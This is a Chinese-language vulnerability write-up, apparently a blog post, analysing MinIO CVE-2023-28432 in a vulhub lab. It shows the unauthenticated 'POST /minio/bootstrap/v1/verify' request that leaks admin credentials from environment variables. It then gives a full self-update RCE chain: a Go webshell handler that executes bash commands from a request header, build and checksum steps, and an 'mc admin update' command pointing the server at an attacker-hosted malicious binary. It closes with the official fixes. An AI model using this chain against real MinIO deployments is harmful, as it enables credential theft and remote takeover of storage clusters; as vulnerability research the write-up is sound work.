正好最近入坑了 Golang, 做个简单的审计练练手
MinIO CVE-2023-28432
MinIO 是一套私有云对象存储的解决方案
Github Advisory: https://github.com/minio/minio/security/advisories/GHSA-6xvq-wj2x-3h3q
漏洞原理为 MinIO 的某个 API 路由没有鉴权, 导致可以通过该路由获取 MinIO 在系统中的环境变量, 进而得到管理员的账号密码和 SecretKey
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
// minio/cmd/bootstrap-peer-server.go
func (b *bootstrapRESTServer) VerifyHandler(w http.ResponseWriter, r *http.Request) {
ctx := newContext(r, w, "VerifyHandler")
cfg := getServerSystemCfg()
logger.LogIf(ctx, json.NewEncoder(w).Encode(&cfg))
}
// minio/cmd/bootstrap-peer-server.go
func getServerSystemCfg() ServerSystemConfig {
envs := env.List("MINIO_")
envValues := make(map[string]string, len(envs))
for _, envK := range envs {
// skip certain environment variables as part
// of the whitelist and could be configured
// differently on each nodes, update skipEnvs()
// map if there are such environment values
if _, ok := skipEnvs[envK]; ok {
continue
}
envValues[envK] = env.Get(envK, "")
}
return ServerSystemConfig{
MinioEndpoints: globalEndpoints,
MinioEnv: envValues,
}
}
|
通告上写到该漏洞只在集群模式下有效
下载源码直奔 cmd/router.go 查看路由
![](https://img.exp10it.io/img/202305111529106.png)
![](https://img.exp10it.io/img/202305111530695.png)
![](https://img.exp10it.io/img/202305111530095.png)
路由地址在最上面
![](https://img.exp10it.io/img/202305111531736.png)
以 vulhub 的环境为例, 注意发送的是 POST 方法
POST /minio/bootstrap/v1/verify
![](https://img.exp10it.io/img/202305111532439.png)
自更新 RCE
自更新是 MinIO 一项功能, 但是它的自更新可以指定一个私有的 mirror url, 导致可以将 url 指向恶意文件进而 RCE
MinIO 有一个管理客户端 mc
, 它的 mc admin update
对应的就是服务端的自更新
https://min.io/docs/minio/linux/reference/minio-mc-admin/mc-admin-update.html#command-mc.admin.update
update handler 位于 AdminRouter 中
![](https://img.exp10it.io/img/202305111538125.png)
![](https://img.exp10it.io/img/202305111538982.png)
![](https://img.exp10it.io/img/202305111539640.png)
首先验证是否为 admin, 然后获取 updateURL, 如果为空的话会指定一个默认的 minioReleaseInfoURL, 即https://dl.min.io/server/minio/release/darwin-arm64/minio.sha256sum
![](https://img.exp10it.io/img/202305111541159.png)
然后调用 downloadReleaseURL 和 parseReleaseData
![](https://img.exp10it.io/img/202305111542693.png)
![](https://img.exp10it.io/img/202305111542870.png)
注意 parseReleaseData 会验证 sha256sum 的文件内容是否满足 <sha256 hash> minio.RELEASE.2016-10-07T01-16-39Z.<hotfix_optional>
的格式, 如果格式不对则会返回 error
![](https://img.exp10it.io/img/202305111544706.png)
验证完格式之后, 它会将路径重新处理, 改成 url + / + minio.RELEASE.2016-10-07T01-16-39Z.<hotfix_optional>
的形式,其中的 releaseInfo 与前面 sha256sum 中的第二个字段对应
然后会将目标版本和当前版本进行对比, 如果目标版本的日期小于等于当前版本会提示无需更新
![](https://img.exp10it.io/img/202305111547012.png)
再次下载对应的二进制文件, 调用 verifyBinary
verifyBinary 会验证签名和 sha256
![](https://img.exp10it.io/img/202305111556925.png)
这里本来的作用是获取对应的 .minisig
文件, 使用 minisignPubKey 解密, 验证签名是否正确
因为 minisignPubKey 是从环境变量中获得的, 如果环境变量中没有对应的值就会默认给个空值, 就会直接跳过下面对签名的验证
所以我们就可以利用这个缺陷来自更新恶意二进制文件实现 RCE
但由于 MinIO 默认在 Dockerfile 里面配置了官方的公钥, 所以官方 Docker 版本的 MinIO 就无法通过这种方式实现 RCE
![](https://img.exp10it.io/img/202305111606906.png)
后面调用 CommitBinary
![](https://img.exp10it.io/img/202305111548231.png)
CommitBinary 的功能其实就是替换当前的 MinIO 二进制文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
|
func CommitBinary(opts Options) error {
// get the directory the file exists in
targetPath, err := opts.getPath()
if err != nil {
return err
}
updateDir := filepath.Dir(targetPath)
filename := filepath.Base(targetPath)
newPath := filepath.Join(updateDir, fmt.Sprintf(".%s.new", filename))
// this is where we'll move the executable to so that we can swap in the updated replacement
oldPath := opts.OldSavePath
removeOld := opts.OldSavePath == ""
if removeOld {
oldPath = filepath.Join(updateDir, fmt.Sprintf(".%s.old", filename))
}
// delete any existing old exec file - this is necessary on Windows for two reasons:
// 1. after a successful update, Windows can't remove the .old file because the process is still running
// 2. windows rename operations fail if the destination file already exists
_ = os.Remove(oldPath)
// move the existing executable to a new file in the same directory
err = os.Rename(targetPath, oldPath)
if err != nil {
return err
}
// move the new exectuable in to become the new program
err = os.Rename(newPath, targetPath)
if err != nil {
// move unsuccessful
//
// The filesystem is now in a bad state. We have successfully
// moved the existing binary to a new location, but we couldn't move the new
// binary to take its place. That means there is no file where the current executable binary
// used to be!
// Try to rollback by restoring the old binary to its original path.
rerr := os.Rename(oldPath, targetPath)
if rerr != nil {
return &rollbackErr{err, rerr}
}
return err
}
// move successful, remove the old binary if needed
if removeOld {
errRemove := os.Remove(oldPath)
// windows has trouble with removing old binaries, so hide it instead
if errRemove != nil {
_ = hideFile(oldPath)
}
}
return nil
}
|
![](https://img.exp10it.io/img/202305111549346.png)
最后发送 serviceRestart 信号重启整个集群
综上, 要想实现自更新 RCE, 需要满足以下几个条件
- 准备好符合命名格式的恶意二进制文件和对应的 sha256sum 文件
- 文件名称中的版本日期必须大于目标 MinIO 的版本
- 目标系统没有在环境变量中配置
MINIO_UPDATE_MINISIGN_PUBKEY
- 因为自更新需要替换整个二进制文件并重启, 所以需要二开官方的 MinIO, 在里面加入一个 webshell
注意更新这个操作在实战环境中会有一定的风险, 所以我们需要基于目标当前版本的 MinIO 进行二开
使用 mc 可以获取到目标 MinIO 的版本
1
2
|
mc alias set minio http://127.0.0.1:9000/ minioadmin minioadmin-vulhub
mc admin info minio
|
![](https://img.exp10it.io/img/202305111616114.png)
下载好对应的源码, 在 routers.go 里面加一个 evil handler
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
package cmd
import (
"net/http"
"os/exec"
)
func evilHandler(h http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
cmd := r.Header.Get("Cmd")
if cmd != "" {
p := exec.Command("bash", "-c", cmd)
output, _ := p.Output()
w.Write([]byte(output))
} else {
h.ServeHTTP(w, r)
}
})
}
|
![](https://img.exp10it.io/img/202305111617384.png)
编译, 生成对应的 sha256sum
1
2
3
4
|
go mod tidy
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build
mv minio minio.RELEASE.2023-02-27T18-10-50Z
shasum -a 256 minio.RELEASE.2023-02-27T18-10-50Z > minio.RELEASE.2023-02-27T18-10-50Z.sha256sum
|
最后利用 mc 发送自更新的请求
1
|
mc admin update minio http://host.docker.internal:8000/minio.RELEASE.2023-02-27T18-10-50Z.sha256sum
|
![](https://img.exp10it.io/img/202305111621876.png)
效果
![](https://img.exp10it.io/img/202305111631518.png)
并且由于是集群模式, 集群中的所有主机都自更新了一次
![](https://img.exp10it.io/img/202305111634414.png)
官方的修复方法
https://github.com/minio/minio/commit/3b5dbf90468b874e99253d241d16d175c2454077
https://github.com/minio/minio/commit/05444a0f6af8389b9bb85280fc31337c556d4300
首先对 verfiy handler 加上了鉴权, 并且对环境变量做了一次 hash, 这样就无法得到实际的内容
然后设置了默认公钥, 即 defaultMinisignPubkey, 阻止了自更新 RCE 的可能性